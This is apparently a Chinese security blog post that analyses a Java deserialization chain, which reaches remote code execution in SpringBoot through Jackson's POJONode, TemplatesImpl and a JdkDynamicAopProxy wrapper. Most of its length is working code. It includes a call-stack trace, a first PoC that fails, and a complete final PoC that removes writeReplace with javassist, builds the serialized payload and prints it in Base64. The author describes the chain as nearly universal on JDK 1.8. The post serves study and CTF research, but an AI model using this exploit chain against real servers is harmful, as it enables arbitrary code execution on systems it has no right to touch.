前言
Jackson 在 SpringBoot 中自带。而这个依赖包中的 POJONode
在调用 toString
会触发 getter
方法的调用。类似于 fastjson 的 parse
和 rome 的 ToStringBean#toString
。因此如果目标环境可以用 TemplatesImpl
并且 jdk 版本较低,那么将可以在 SpringBoot 环境中造成反序列化 RCE。最先公布这条链是在 2023 AliyunCTF 上。
引入以下依赖
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.15</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
...
<properties>
<java.version>1.8</java.version>
</properties>
...
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
<scope>compile</scope>
</dependency>
</dependencies>
...
分析
POJONode
在调用 toString
方法时会触发其携带节点的 getter
方法,
例如:
public class Main {
public static void main(String[] args) throws Exception {
User user = new User();
POJONode jsonNodes = new POJONode(user);
System.out.println(jsonNodes);
}
}
public class User {
private String name;
public String getName() {
System.out.println("调用了 getter 方法");
return name;
}
public void setName(String name) {
this.name = name;
}
}
结果如下:
调用了 getter 方法
{"name":null}
完整的调用栈如下:
getName:12, User (link.f0rget.horse.jackson)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
serializeAsField:689, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
valueOf:2994, String (java.lang)
println:821, PrintStream (java.io)
main:22, Main (link.f0rget.horse.jackson)
既然有这个特性,那么我们很容易在如下环境中构造出 getter 链。getter 链无非就那么几条:
- TemplatesImpl 链
- LdapAttribute 链
JdbcRowImpl 链->jndi(由于 setter 方法无法调用,fastjson 的链子不能用)
TemplatesImpl
异常
既然如此,就以 TemplatesImpl
为例子:
package link.f0rget.horse.jackson;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* @author Shule
* CreateTime: 2023/9/15 11:55
*/
public class Demo {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("Calc.class"));
setFieldValue(templates,"_name","TemplatesImpl");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{bytecodes});
setFieldValue(templates,"_transletIndex",0);
POJONode jsonNodes = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(new Object());
setFieldValue(badAttributeValueExpException,"val",jsonNodes);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
byteArrayInputStream.close();
new ObjectInputStream(byteArrayInputStream).readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
正当我想要快乐的弹出计算器的时候,发生了这个错误:
注意到这一行信息: at java.io.ObjectOutputStream.writeObject0(ObjectOutputStream.java:1136)
找到这段代码:
上面这里的 if 语句是说,如果被序列化的类中存在 writeReplaceMethod
,那么将会判断后面的语句,也就是 (obj = desc.invokeWriteReplace(obj)) == null
。
本来也没什么,毕竟 POJONode 的父类 ValueNode
的父类 BaseJsonNode
中确实定义了这个方法
可是在执行完我们带有 TemplatesImpl 的 POJONode 后却抛出了异常导致无法正常的序列化
不断追踪发现 BaseJsonNode#writeReplaceMethod
会导致在序列化过程中就已经调用了 TemplatesImpl#getOutputProperties
导致抛出异常
下图异常点下在 BeanPropertyWriter#serializeAsField
为了避免上述情况的发生我们可以在序列化之前加上这几行代码,利用 javassist
先删除 BaseJsonNode#writeReplace
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
同时参考 https://xz.aliyun.com/t/12846#toc-1 可知,有可能存在利用失败的情况,原因在于 TemplatesImpl 中存在好几个 get 方法。反序列化调用 get 方法的先后顺序不确定
transletindex
stylesheetDOM
outputProperties
某些 get 方法在反序列化过程中被调用会抛出异常,比如 getStylesheetDOM
其中被 transient
修饰的 _sdom
注定会在调用 get
方法时导致空指针异常。为了避免这样的情况发生,我们可以借助 org.springframework.aop.framework.JdkDynamicAopProxy
动态代理类完成封装调用,因为当我们使用反射获取一个代理类上的所有方法时,只能获取到其代理的接口方法。而 TemplatesImpl
实现的接口 Templates
中只有一个 getOutputProperties
方法。我们的目标也只需要调用它即可。
JdkDynamicAopProxy
而 JdkDynamicAopProxy
是什么神仙类?
对于动态代理类我们重点要关注它的 invoke
方法。下面这里我删去了一些无关紧要的代码。我们可以发现在 else 语句中会将 target 对象传递给一个反射代理对象。而 target 对象又是从 this.advised.targetSource.getTarget()
获得的。
@Override
@Nullable
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
...
TargetSource targetSource = this.advised.targetSource;
Object target = null;
...
target = targetSource.getTarget();
Class<?> targetClass = (target != null ? target.getClass() : null);
...
if (chain.isEmpty()) {
// We can skip creating a MethodInvocation: just invoke the target directly
// Note that the final invoker must be an InvokerInterceptor so we know it does
// nothing but a reflective operation on the target, and no hot swapping or fancy proxying.
Object[] argsToUse = AopProxyUtils.adaptArgumentsIfNecessary(method, args);
retVal = AopUtils.invokeJoinpointUsingReflection(target, method, argsToUse);
}
else {
// We need to create a method invocation...
MethodInvocation invocation =
new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);
retVal = invocation.proceed();
}
...
}
这就不禁要问一下 this.advised
是什么东西了,在 JdkDynamicAopProxy
的构造器中我们可以很清晰的发现其实是一个 AdvisedSupport
对象
而 AdvisedSupport
中的 setTarget
方法很容易帮助我们将一个对象封装成 targetSource
完整 PoC
这下问题就好办了,既然 JdkDynamicAopProxy
可以原封不动的反射调用我们封装后对象的方法,那么我们可以构造如下 PoC:
package link.f0rget.horse.jackson;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
/**
* @author Shule
* CreateTime: 2023/9/16 12:14
*/
public class Demo2 {
public static void main(String[] args) throws Exception {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
byte[] code= Files.readAllBytes(Paths.get("Calc.class"));
byte[][] codes={code};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", codes);
setFieldValue(templatesImpl, "_name", "TemplatesImpl");
setFieldValue(templatesImpl, "_tfactory", null);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templatesImpl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
POJONode node = new POJONode(proxy);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(val);
objectOutputStream.close();
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
byteArrayInputStream.close();
new ObjectInputStream(byteArrayInputStream).readObject();
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
运行该 poc 即可完成弹出计算器的操作.
结语
在 jdk1.8 的环境下简直就是通杀,一向较为安全的 SpringBoot 竟然能够构造出如此厉害的反序列化链子,实在太妙了。